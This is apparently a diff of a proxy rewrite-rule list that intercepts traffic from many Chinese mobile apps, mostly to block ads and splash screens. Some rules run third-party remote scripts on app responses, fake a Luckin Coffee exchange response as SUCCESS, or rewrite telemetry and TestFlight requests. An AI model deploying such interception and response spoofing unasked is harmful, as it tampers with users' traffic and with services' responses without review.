+^https?:\/\/m\.lkcoffee\.com\/ecapi\/resource\/m\/member\/exchange\/page url response-body \{.+\} response-body {"status":"SUCCESS"} +^https?:\/\/m\.lkcoffee\.com\/capi\/resource\/m\/growUp\/main url response-body "popTitle":".+?" response-body "popTitle":"" +^https?:\/\/img0[1-9]{1}\.luckincoffeecdn\.com\/group\d/M00/[A-Z0-9]{2}/[A-Z0-9]{2}/[a-zA-Z0-9]{29}\.(jpg|jpeg)_\.webp url reject-200 + + + +# >>>>>>>>>>>>>>> ✅ S ✅ <<<<<<<<<<<<<< +# > spotify +# hostname = spclient.wg.spotify.com, api*.musical.ly +^https?:\/\/spclient\.wg\.spotify\.com\/(ad-logic|ads|.+ad_slot|.+banners|.+canvases|.+cards|.+crashlytics|.+doubleclick.net|.+enabled-tracks|.+event|.+sponsored|.+promoted|.+promoted_offer) url reject-img +^https?:\/\/api\d?\.musical\.ly\/api\/ad\/ url reject-img + +# > Soul +# hostname = 47.110.187.87, ssp.soulapp.cn, chat-live.soulapp.cn, api-account.soulapp.cn, api-global.soulapp.me, api-a.soulapp.cn, api-pay.soulapp.cn, gateway-mobile-gray.soulapp.cn, api-chat.soulapp.cn, post.soulapp.cn, api-user.soulapp.cn +# 替换信息收集 +^https:\/\/data-collector\.soulapp\.cn\/api\/data\/report\/v\d url script-request-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/template/req_replace_body.js +# 信息流,帖子详情页等各种广告 +^https?:\/\/ssp\.soulapp\.cn\/api\/q url reject-dict +^https?:\/\/ssp\.soulapp\.cn\/api\/ad\/config url reject-dict +^https?:\/\/chat-live\.soulapp\.cn\/live\/planet\/recListV2 url reject-200 +^https?:\/\/api-chat\.soulapp\.cn\/chat\/entrance\/first url reject-dict +# 青少年模式弹窗 +^https?:\/\/api-account\.soulapp\.cn\/teenager\/config url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/api-a\.soulapp\.cn\/v2\/post\/gift\/list url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/api-a\.soulapp\.cn\/official\/scene\/module url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/api-user\.soulapp\.cn\/furion\/position\/content url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/api-user\.soulapp\.cn\/v\d\/planet\/config url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/api-chat\.soulapp\.cn\/chat\/limitInfo url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/post\.soulapp\.cn\/hot\/soul\/rank url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/post\.soulapp\.cn\/v\d\/post\/homepage\/guide\/card url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/post\.soulapp\.cn\/v\d\/post\/recSquare\/subTabs url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/chat-live\.soulapp\.cn\/chatroom\/chatClassifyRoomList url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/gateway-mobile-gray\.soulapp\.cn\/mobile\/app\/version\/queryIos url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +^https?:\/\/47\.110\.187\.87\/winterfell\/v2\/getIpByDomain url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +#^https?:\/\/api-pay\.soulapp\.cn\/vip\/meet\/userInfo url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +#^https?:\/\/api-pay\.soulapp\.cn\/privilege\/supervip\/status url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js +# 国际版Soul去广告 +^https?:\/\/api-global\.soulapp\.me\/app\/open\/get url reject + +# > Stay +# hostname = api.shenyin.name +# 会导致视频下载转码失败 +#^https?:\/\/api\.shenyin\.name\/stay-fork\/browse\/featured$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/stay.js + +# > 苏宁 +# hostname = mpcs.suning.com, image.suning.com, luckman.suning.com +^https?:\/\/mpcs\.suning\.com\/mpcs\/dm\/getDmInfo url reject +^https?:\/\/image\.suning\.cn\/uimg\/ma\/ad\/ url reject-200 +# 新人专享弹窗 +^https?:\/\/luckman\.suning\.com\/luck-web\/policy\/v\d\/msf\/index\.do url reject-200 + +# > 苏e行 +# hostname = ad.shunchangzhixing.com, api.bwton.com +# 需卸载重装,有缓存 +^https?:\/\/ad\.shunchangzhixing\.com\/getAd url reject-dict +^https?:\/\/api\.bwton\.com\/bff\/app\/h5\/v1\/station\/goods url reject-dict +# 开屏广告 感谢【alist.choc.ga】分享 +^https?:\/\/api\.bwton\.com\/bas\/ad url reject-200 +# 软件内推广广告 感谢【为什么要看头像呢】分享 +^https?:\/\/api\.bwton\.com\/bff\/app\/index\/goods url reject-dict +^https?:\/\/api\.bwton\.com\/bff\/app\/index\/recommend url reject-dict + +# > 苏周到 +# hostname = szdmobile.suzhou.gov.cn +# 更新提示 感谢【alist.choc.ga】分享 +^https?:\/\/szdmobile\.suzhou\.gov\.cn\/thirdapp-center\/appUpdate\/update url reject-dict + +# > 苏打校园APP +# hostname = api.sodalife.xyz +# 净化(需要卸载重装)感谢【TEXAS】分享 +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ATOP url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soda.js +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ABOTTOM url reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ACENTER url reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AMINE%3ABOTTOM url reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/goods url reject-dict +^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AREWARDS%3ACENTER url reject-dict + +# > 四季線上影視 +# hostname = service.4gtv.tv +^https?:\/\/service\.4gtv\.tv\/4gtv\/Data\/(?>GetAD|ADLog) url reject-200 + +# > 四川航空 +# hostname = mapi.sichuanair.com +^https?:\/\/mapi\.sichuanair\.com\/zt\/tribeport\/encrypt_translate_key url reject-200 + +# > 搜狐 +# hostname = *.souhu.com +^https?:\/\/api\.k\.sohu\.com\/api\/news\/adsense url reject-200 +^https?:\/\/pic\.k\.sohu\.com\/img8\/wb\/tj\/ url reject-200 +^https?:\/\/s1\.api\.tv\.itc\.cn\/v4\/mobile\/control\/switch\.json url reject-200 +^https?:\/\/(api|api-bk\d+)\.tv\.sohu\.com\/agg\/api\/app\/config\/bootstrap url reject +^https?:\/\/agn\.aty\.sohu\.com\/m? url reject-img +^https?:\/\/api\.k\.sohu\.com\/api\/channel\/ad\/ url reject-img +^https?:\/\/hui\.sohu\.com\/predownload2\/? url reject-img +^https?:\/\/m\.aty\.sohu\.com\/openload? url reject-img +^https?:\/\/mmg\.aty\.sohu\.com\/mqs? url reject-img +^https?:\/\/mmg\.aty\.sohu\.com\/pvlog? url reject-img +^https?:\/\/photocdn\.sohu\.com\/tvmobilemvms url reject-img +^https?:\/\/pic\.k\.sohu\.com\/img\d\/wb\/tj\/ url reject +^https?:\/\/s\.go\.sohu\.com\/adgtr\/\?gbcode= url reject-img + +# > 搜狗输入法 +# hostname = business-cdn.shouji.sogou.com, ios.sogou.com, android.sogou.com, h5api.sginput.qq.com +#^https?:\/\/business-cdn\.shouji\.sogou\.com\/wapdl\/hole\/.+?\.jpg url reject-200 +# 开屏广告 +^https?://(ios|android)\.sogou\.com/[^/]+/sogou_input_[^/]+/[^/]+/index\.html url reject +# 屏蔽游戏中心 +^https?:\/\/h5api\.sginput\.qq\.com\/v1\/gcenter\/ios\/homepage url reject-dict + +# > 搜电充电 微信小程序 +# hostname = wxs-weixin.sd.zhumanggroup.com +^https?:\/\/wxs-weixin\.sd\.zhumanggroup\.com\/api\/v2\/ad url reject-dict + +# > 深圳通 +# hostname = ecard.shenzhentong.com +^https?:\/\/ecard\.shenzhentong\.com\/wxweb\/bwxppub2\/QryAdvertList\.do url reject-200 + +# > 盛趣游戏 +# hostname = daoyu.sdo.com +^https?:\/\/daoyu\.sdo\.com\/api\/userCommon\/getAppStartAd url reject + +# > 什么值得买 +# hostname = homepage-api.smzdm.com, haojia-api.smzdm.com, app-api.smzdm.com, user-api.smzdm.com, article-api.smzdm.com, qianbao.smzdm.com, s-api.smzdm.com, haojia.m.smzdm.com +^https?:\/\/haojia\.m\.smzdm\.com\/detail_modul\/other_modul\? url reject-dict +^https?:\/\/haojia\.m\.smzdm\.com\/detail_modul\/user_related_modul\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js +^https?:\/\/haojia-api\.smzdm\.com\/ranking_list\/articles\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js +^https?:\/\/s-api\.smzdm\.com\/sou\/filter\/tags\/hot_tags\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js +^https?:\/\/s-api\.smzdm\.com\/sou\/list_v10\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js +^https?:\/\/user-api\.smzdm\.com\/vip\/creator_user_center url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js +^https?:\/\/user-api\.smzdm\.com\/vip$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/Smzdm.js +# 感谢【怎么肥事】分享 +^https?:\/\/app-api\.smzdm\.com\/util\/loading url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/app-api\.smzdm\.com\/util\/update url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/user-api\.smzdm\.com\/vip\/bottom_card_list url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/haojia-api\.smzdm\.com\/home\/list url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/homepage-api\.smzdm\.com\/v3\/home url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/article-api\.smzdm\.com\/publish\/get_bubble url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js +^https?:\/\/qianbao\.smzdm\.com\/v\d\/app\/home url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js + +# > 神马 +# hostname = editor.sm.cn +^https?:\/\/editor\.sm\.cn\/launch_picture url reject + +# > 顺丰快递 +# hostname = ccsp-egmas.sf-express.com, ucmp.sf-express.com +# APP净化 感谢【怎么肥事】分享 +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberGoods\/pointMallService\/goodsList url reject-dict +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-video\/video\/app\/video\/labelClusterList url reject-dict +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-base\/base\/app\/ad\/queryInfoFlow url reject-dict +^https?:\/\/ccsp-egmas\.sf-express\.com\/cx-app-base\/base\/app\/bms\/queryRecommend url reject-dict + +# > 顺丰快递小程序 +# hostname = mcs-mimp-web.sf-express.com, ucmp.sf-express.com +^https?:\/\/mcs-mimp-web\.sf-express\.com\/mcs-mimp\/integralPlanet\/getCxAdvertiseList url reject-dict +^https?:\/\/ucmp-static\.sf-express\.com\/proxy\/wxbase\/wxTicket\/wxLiveStreamInfo\?pageNo url reject-dict +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberGoods\/pointMallService\/goodsList url reject-dict +^https?:\/\/ucmp\.sf-express\.com\/proxy\/operation-platform\/info-flow-adver\/query url reject-dict +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberManage\/memberEquity\/queryRecommendEquity url reject-dict +^https?:\/\/ucmp\.sf-express\.com\/proxy\/esgcempcore\/memberActLengthy\/fullGiveActivityService\/fullGiveInfo url reject-dict + +# > 顺丰优选 +# hostname = mapi.sfbest.com +^https?:\/\/mapi\.sfbest\.com\/brokerservice-server\/cms\/getPositionById.* url reject + +# > 少数派 +# hostname = ios.sspai.com +https://ios.sspai.com/api/v3/recommend/page/get\?ad.*ios_home_modal url reject + +# > 书旗小说 +# hostname = ut2.shuqistat.com, dsp.toutiao.com, sf3-be-pack.pglstatp-toutiao.com, api-access.pangolin-sdk-toutiao.com, sq.sljkj.com, ocean.shuqireader.com, img-tailor.11222.cn, message.shuqireader.com, feedback.uc.cn, *.shuqireader.com, 101.91.69.26 +^https?:\/\/ut2\.shuqistat\.com\/.+\.gif url reject +^https?:\/\/dsp\.toutiao\.com\/api\/xunfei\/ads\/ url reject +^https?:\/\/sf3-be-pack\.pglstatp-toutiao\.com\/img\/ad\.union\.api url reject +^https?:\/\/api-access\.pangolin-sdk-toutiao\.com\/api\/ad\/.+ url reject +^https?:\/\/sq\.sljkj\.com\/api\/sdk\/ads2 url reject +^https?:\/\/ocean\.shuqireader\.com\/api\/ad\/adserver\/.+ url reject +^https?:\/\/ocean\.shuqireader\.com\/api\/route\/iosReadPage\/ad.+ url reject +^https?:\/\/.+\.pglstatp-toutiao\.com url reject +^https?:\/\/img-tailor\.11222\.cn\/pm\/app\/.+\.gif url reject +^https?:\/\/img-tailor\.11222\.cn\/cms\/upload\/img\/.+ url reject +^https?:\/\/message\.shuqireader\.com\/message\/.+ url reject +^https?:\/\/101\.91\.69\.26:8080\/.+ url reject +^https?:\/\/feedback\.uc\.cn\/feedback\/api\/get_unread_status url reject +^https?:\/\/.+\.shuqireader\.com\/sapi\/.+ url reject + +# > 神舟汽车 +# hostname = img01.10101111cdn.com +^https?:\/\/img01\.10101111cdn\.com\/adpos\/share\/ url reject-img + +# > 上汽大众 +# hostname = api.mos.csvw.com +# 已无法MITM +#^https?:\/\/api\.mos\.csvw\.com\/mos\/operation\/home\/api\/v\d\/app\/brand\/queryDataForOperation url reject-200 + +# > 首汽约车 +# hostname = gw-passenger.01zhuanche.com, img.yun.01zhuanche +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/car-rest\/webservice\/passenger\/recommendADs url reject-200 +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/zhuanche-passenger-token\/leachtoken\/webservice\/homepage\/queryADs url reject +^https?:\/\/gw-passenger\.01zhuanche\.com\/gw-passenger\/zhuanche-passengerController\/notk\/passenger\/recommendADs url reject +^https?:\/\/img\.yun\.01zhuanche\.com\/statics\/app\/advertisement\/.+?-750-1334 url reject-img + +# > 首旅如家 +# hostname = app.homeinns.com +^https?:\/\/app\.homeinns\.com\/api\/landing url reject + +# > 三联中读 +# hostname = apis.lifeweek.com.cn +https://apis.lifeweek.com.cn/api/baseConfig/getIosNewConfig url reject + +# > 识货 +# hostname = sh-gateway.shihuo.cn, static.shihuocdn.cn +# 开屏广告 +^https?:\/\/sh-gateway\.shihuo\.cn\/v\d\/services\/sh-adapi\/home\/(screen|ad) url reject +^https?:\/\/static\.shihuocdn\.cn\/admin\/imgs/202[0-9]{5}\/[a-z0-9]{32}_513x777\.png url reject-200 +^https?:\/\/static\.shihuocdn\.cn\/admin\/imgs/202[0-9]{5}\/[a-z0-9]{32}_750x1624\.png url reject-200 + +# > 闪现一下 +# hostname = api.gameplus.qq.com +^https?:\/\/api\.gameplus\.qq\.com\/community\.OnloadSrv\/GetPreloadScreenInfo url reject-200 + +# > 闪动校园 +# hostname = api.huachenjie.com, open.e.kuaishou.cn, ad.shunchangzhixing.com, zlsdk.1rtb.net +# 感谢【𝔐𝔞𝔨𝔞𝔟𝔞 𝔨𝔞】分享 +# 去除ai视频 +^https:\/\/api\.huachenjie\.com\/run-front\/ai\/getAICategory url reject-dict +# 去除顶部横幅 +^https:\/\/api\.huachenjie\.com\/run-front\/home\/sports\/getPopup url reject-dict +# 去除首页广告 +^https:\/\/api\.huachenjie\.com\/run-front\/ad url reject-dict +# 去除“我”页面下方福袋 +^http:\/\/ad\.shunchangzhixing\.com\/getAd url reject-dict +# 去除开屏广告 +^https:\/\/open\.e\.kuaishou\.cn\/rest\/e\/v3\/open url reject-dict +^https:\/\/zlsdk\.1rtb\.net\/sdk\/req_ad\?sdk_version=\d+\.\d+\.\d+\.\d+&device_os=iOS&accept_ad_type=\d+&app_id=\d+&pid=\d+&sdk_version_code=\d+ url reject-dict + +# > 山姆会员商店 +# hostname = api-sams.walmartmobile.cn +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/sams-user\/(window\/getGoUpPlus|screen_promotion\/get) url reject +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/channel\/portal\/AdgroupData url reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/configuration\/personCenterEntrance\/query url reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/trade\/order\/getOftenBuyGoods url reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/goods-portal\/spu\/searchRecommendPool url reject-dict +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v\d\/sams\/configuration\/appVersionUpdate\/getAppVersionUpdateInfo url reject-dict +# 屏蔽更新 +^https?:\/\/api-sams\.walmartmobile\.cn\/api\/v1\/sams\/configuration\/portal\/beUpdate url reject-dict + +# > 收钱吧 - 买单小程序 +# hostname = api.pinduoduo.com +^https?:\/\/api\.pinduoduo\.com\/api\/ktt_gateway\/activity\/feeds\/personal_home_page\/ url reject + +# > 省省回头车 +# hostname = www.ymm56.com +# 开屏广告 需要清理缓存 +^https:\/\/www\.ymm56\.com\/short-distance-match-app\/openAppAd url reject-dict + + + + +# >>>>>>>>>>>>>>> ✅ T ✅ <<<<<<<<<<<<<< +# Talkatone +# hostname = alt-r.my.com, imgx.jampp.com +^https?:\/\/alt-r\.my\.com\/mobile url reject-dict +^https?:\/\/imgx\.jampp\.com\/imgsrv\/tn url reject-img + +# > TestFlight +# hostname = testflight.apple.com +# TestFlight 国区下载修正 +^https:\/\/testflight\.apple\.com\/v2\/accounts\/.*\/apps\/\d*\/builds\/\d*\/install$ url request-body "storefrontId"\x20:\x20.*, request-body "storefrontId":"143441-19,29", +# TF账户管理 App更新时提示"APP不可用"问题,解决部分TF兑换错了区域的问题,例如Loon兑换到了国区 +# ^https?:\/\/testflight\.apple\.com\/v\d\/(app|account|invite)s\/ url script-analyze-echo-response https://raw.githubusercontent.com/NobyDa/Script/master/TestFlight/TestFlightAccount.js + +# > TT语音 +# hostname = ga-album-cdnqn.52tt.com +# 开屏广告 个别图片误杀 如开启可自行添加主机名 +^https?:\/\/ga-album-cdnqn\.52tt\.com\/prod-yunying\/.+.jpg url reject-dict + +# > TapTap +# hostname = api.taptapdada.com +# 开屏广告 感谢【TEXAS】分享 +^https?:\/\/api\.taptapdada\.com\/startup-logo\/v\d\/combo\? url reject-dict + +# > TubeMax +# hostname = *.i18n-pglstatp.com +# 感谢【可莉】分享 +^https?:\/\/.*\.i18n-pglstatp\.com\/obj\/ad-pattern-sg url reject + +# > top-widget +# hostname = top-widgets-api.xiaozujian.com +^https?:\/\/top-widgets-api\.xiaozujian\.com\/api\/ad\/config url reject + +# > 台铃智能 +# hostname = www.tailgdd.com +# 开屏广告 +^https://www\.tailgdd\.com/v8/smart/app/config/get$ url response-body "data":\{.+\} response-body "data":{} + +# > 天府市民云 +# hostname = tfsmy.chengdu.gov.cn, tft-app.cdtft.cn +# 注意:生活圈,社区打不开 需要的自己添加主机名 +^https?:\/\/tfsmy\.chengdu\.gov\.cn\/api\/v5\/core\/version url reject-200 +^https?:\/\/tft-app\.cdtft\.cn\/gateway-customer\/tftapp\/tft-ams\/api\/appAd url response-body officialAdvertResultVo response-body random-response + +# > 天府手机银行 +# hostname = cgbank.oss-cn-shenzhen.aliyuncs.com +^https?:\/\/cgbank\.oss-cn-shenzhen\.aliyuncs\.com\/visual\/advertisingImg\/.+.jpg url reject-200 + +# > 天府银行小程序 +# hostname = chl.tf.cn, wechat.tf.cn +# 缴费弹窗广告 +^https?:\/\/chl\.tf\.cn\/channelmg\/sys\/socso\/order\/queryOrderInfo url response-body "imgUrl" response-body "imgUrl0" +^https?:\/\/chl\.tf\.cn\/channelmg\/sys\/socso\/socsonew\/queryIsRealNameAdertInfo url reject-dict +# 首页弹窗广告 +^https?:\/\/wechat\.tf\.cn\/mini-financial\/model\/queryPopup url reject-dict + +# > 天府通 +# hostname = ams-cdn.cdtft.cn +# 需卸载重装,因为设置里没有清楚缓存,推荐搭配旧版5.2.0使用 感谢【Leo】分享 +^https?:\/\/ams-cdn\.cdtft\.cn\/prod\/tft-ams\/ url reject-dict + +# > 天山云TV +# hostname = www.tsytv.com.cn +^https?:\/\/www\.tsytv\.com\.cn\/api\/app\/ios\/ads url reject-img + +# > 天天基金 +# hostname = j5.dfcfw.com, appactive.1234567.com.cn +^https?:\/\/j5\.dfcfw\.com\/WG\/conf\/202[0-9]{5}/.*.(jpg|png) url reject-200 +^https?:\/\/j5\.dfcfw\.com\/WG\/appconf\/202[0-9]{5}/.*.(jpg|png) url reject-200 +^https?:\/\/appactive\.1234567\.com\.cn\/AppoperationApi\/OperationService\/GetAppStartImg url reject + +# > 天星金融 +# hostname = t1.market.xiaomi.com +^https?:\/\/t1\.market\.xiaomi\.com\/thumbnail\/webp\/w1170q100\/ url reject + +# > 天猫精灵 +# hostname = ossgw.alicdn.com, zconfig.alibabausercontent.com +^https?:\/\/ossgw.alicdn.com\/creatives-assets\/image\/ url reject-200 +^https?:\/\/zconfig\.alibabausercontent\.com\/zconfig url reject + +# > 天猫养车 +# hostname = api.ncarzone.com +# 中间横幅广告 +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/appHomeFacade\/getNewUserPlateActivity url reject-200 +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/bannerFacade\/app\/list url reject-200 +# 右下角悬浮广告 +^https?:\/\/api\.ncarzone\.com\/superapi\/canary\/popupDialogFacade\/popupDialogList url reject-200 + +# > 天翼云盘 +# hostname = api.cloud.189.cn +# 感谢【All in 梭哈】分享 +^https?:\/\/api\.cloud\.189\.cn\/guns\/(img\/recommendedPosition|getOpenscreenBanners) url reject-dict + +# > 同花顺 +# hostname = adm.10jqka.com.cn, iphone.ac.qq.com, stat.10jqka.com.cn +^https?:\/\/adm\.10jqka\.com\.cn\/interface\/ad\/recommend url reject-200 +^https?:\/\/iphone\.ac\.qq\.com\/.*\/Support\/(getSystemConf|bootScreen) url reject +# 同花顺至尊版 感谢【梭哈 All in】分享 +^https?:\/\/stat\.10jqka\.com\.cn\/q\?ld=mobile&id=ad url reject-dict + +# > 同程旅行 +# hostname = *.ly.com, *.17usoft.com, *.17u.cn, mobilehotelapi.elong.com, quic-tcmapi.elong.com +# 开屏广告 +^https?:\/\/wx\.17u\.cn\/xcxhomeapi\/((aggregator\/index)|(home\/(screen|banner|converge)))$ url reject +^https?:\/\/wx\.17u\.cn\/crapi\/query\/getAdImgUrlByCode url reject-dict +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/openscreen url reject-dict +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/getindexlayoutcelllist url reject-dict +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/gethotrecommend url reject-dict +# 景点界面轮播图和右下角悬浮窗 +^https:\/\/mobileapi\.ly\.com\/wlfrontend\/app\/scenicMain url reject-dict +# 租车界面 广告 +^https:\/\/wx\.17u\.cn\/crapi\/query\/ad url reject-dict +# 酒店界面广告 +^https:\/\/mobilehotelapi\.elong\.com\/appHotel\/adx\/advert\/getAdvert url reject-dict + +# > 淘票票 +# hostname = acs.m.taobao.com +# 开屏广告 +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.(queryadvertise|queryloadingbanner)\/ url reject + +# > 淘淘阅读 +# hostname = bid.adview.cn +# 感谢【Baby】分享 +^https?:\/\/bid\.adview\.cn\/agent\/getAd url reject + +# > 途牛 +# hostname = m.tuniu.com +^https?:\/\/m\.tuniu\.com\/api\/operation\/splash\/ url reject-200 + +# > 途虎养车小程序 +# hostname = mkt-gateway.tuhu.cn +# 首页悬浮窗广告 +^https?:\/\/mkt-gateway\.tuhu\.cn\/mkt-scene-marketing-service\/api\/scene\/queryScheme url reject-dict + +# > 途家民宿 +# hostname = client.tujia.com +# 需要卸载重装 +^https?:\/\/client\.tujia\.com\/bnbapp-node url reject-dict +^https?:\/\/client\.tujia\.com\/bnbapp-node\/app\/portal\/getportalconfig\/bnb\/v2 url response-body "banners":\[.+\], response-body "banners":[], +^https?:\/\/client\.tujia\.com\/bnbapp-node\/app\/(promotion\/popup\/getpopupups\/bnb|portal\/getStartPictureAdvertising) url reject + +# > 太平洋电脑 +# hostname = mrobot.pconline.com.cn, mrobot.pcauto.com.cn, agent-count.pconline.com.cn +^https?:\/\/mrobot\.pconline\.com\.cn\/s\/onlineinfo\/ad\/ url reject-200 +^https?:\/\/agent-count\.pconline\.com\.cn\/counter\/adAnalyse\/ url reject +^https?:\/\/mrobot\.(pcauto|pconline)\.com\.cn\/v\d\/ad\dp url reject +^https?:\/\/mrobot\.pcauto\.com\.cn\/xsp\/s\/auto\/info\/(ad|preload) url reject + +# > 太平洋知科技 +# hostname = mrobot.pconline.com.cn +^https?:\/\/mrobot\.pconline\.com\.cn\/s-900\/onlineinfo\/cms\/launch url reject-200 + +# > 天气通 分流即可 + +# > 淘宝 +# hostname = acs.m.taobao.com, guide-acs.m.taobao.com, poplayer.template.alibaba.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alibaba\.advertisementservice\.getadv url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimama\.etao\.config\.query\/.+?etao_advertise url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.etao\.noah\.query\/.+tao_splash url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.queryadvertise url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.o2o\.ad\.gateway\.get url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.taobao\.idle\.home\.welcome url reject-dict +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources url reject-dict +^https?:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(volvo\.secondfloor\.getconfig|wireless\.home\.newface\.awesome\.get) url reject-dict +^https?:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(cloudvideo\.video\.query|wireless\.home\.splash\.awesome\.get) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js +^https?:\/\/poplayer\.template\.alibaba\.com\/\w+\.json url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js + +# > 腾讯视频 +# hostname = vv.video.qq.com +# ^https?:\/\/[\d\.:]*\/?(defaultts\.tc|vmind\.qqvideo\.tc|finderpdd\.video)\.qq\.com\/\w+ url reject +# ^https?:\/\/apd-vlive\.apdcdn\.tc\.qq\.com\/vmind\.qqvideo\.tc\.qq\.com\/\w+ url reject +# ^https?:\/\/apd-\w+\.v\.smtcdns\.com\/(defaultts|omts|vmind\.qqvideo)\.tc\.qq\.com\/\w+ url reject +# ^https?:\/\/vv\.video\.qq\.com\/(diff|get)vmind url reject-dict +# ^https?:\/\/vv\.video\.qq\.com\/getvinfo url request-body &sppreviewtype=\d(.*)&spsrt=\d request-body &sppreviewtype=0$1&spsrt=0 + +# > 腾讯乘车码微信小程序 +# hostname = ccmsupport-sz.tenpay.com +# 感谢【jinlvei】分享 +^https?:\/\/ccmsupport-sz\.tenpay\.com\/cgi-bin\/common\/ccm_page_element.cgi url reject + +# > 腾讯游戏社区 +# hostname = static.gameplus.qq.com +# > d{10} 10位纯数字-\d{4}4位纯数字 $ 结尾符号 :只拦截10位纯数字-4位纯数字结尾的短连接,后面带尾巴的长连接不拦截。 +# > 如果想拦截1234567890-1234?wx类的长连接就加长规则,不加结尾符,只要前面的匹配了都会拦截。 +^https?:\/\/static\.gameplus\.qq\.com\/img\/\d{10}-\d{4}$ url reject + +# > 腾讯游戏 +# hostname = qt.qq.com +^https?:\/\/qt\.qq\.com\/lua\/mengyou\/get_splash_screen_info url reject + +# > 腾讯手机管家 +# hostname = otheve.beacon.qq.com +^https?://otheve.beacon.qq.com\/analytics\/upload\?sid=.* url reject + +# > 腾讯地图 +# hostname = 4gimg.map.qq.com +^https?:\/\/4gimg\.map\.qq\.com\/mwaSplash\/ url reject-200 + +# > 腾讯新闻 +# hostname = r.inews.qq.com, news.ssp.qq.com 